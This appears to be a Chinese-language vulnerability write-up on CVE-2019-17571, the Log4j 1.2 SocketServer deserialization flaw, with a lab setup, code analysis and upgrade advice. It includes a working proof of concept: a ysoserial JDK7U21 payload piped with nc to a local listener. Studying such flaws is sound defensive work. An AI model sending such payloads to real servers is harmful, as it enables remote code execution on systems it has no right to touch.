Apache Log4j 漏洞分析
僅用於研究漏洞原理,禁止用於非法用途,后果自負!!!
CVE-2019-17571
漏洞描述
Log4j是美國阿帕奇(Apache)軟件基金會的一款基於Java的開源日志記錄工具。Log4j 1.2版本中包含一個SocketServer類,在未經驗證的情況下,該SocketServe類很容易接受序列化的日志事件並對其進行反序列化,在結合反序列化工具使用時,可以利用該類遠程執行任意代碼。
環境搭建
方便測試,添加JDK7U21的漏洞環境
- 新建Maven項目,pom.xml中添加
<dependencies>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
</dependencies>
- 編寫測試方法
public class CVE_2019_17571 {
private static final Logger log = Logger.getLogger(SimpleSocketServer.class);
public static void main(String[] args) {
System.out.println("start:");
String[] argss = {"4444", "src/log4j.properties"};
SimpleSocketServer.main(argss);
log.info("succ");
}
}
- Ysoserial生成POC(JDK7U21),發送POC
java -jar ysoserial.jar JDK7U21 "calc" > poc.ser
cat poc.ser | nc 127.0.0.1 4444
漏洞分析
- org.apache.log4j.net.SimpleSocketServer#main()
首先開啟Log4j自帶的SocketServer服務器時,會監聽設置的端口,然后獲取Socket對象,進入SocketNode類進行處理.
- org.apache.log4j.net.SocketNode
SocketNode類的構造方法中會對socket接收的數據封裝為一個Object流對象.
- org.apache.log4j.net.SocketNode#run()
在run()方法中直接進行反序列化
漏洞修復
目前官方已在Apache Log4j 2.8.2版本之后修復了該漏洞,請受影響的用戶升級至2.8.2 或更高的版本進行防護.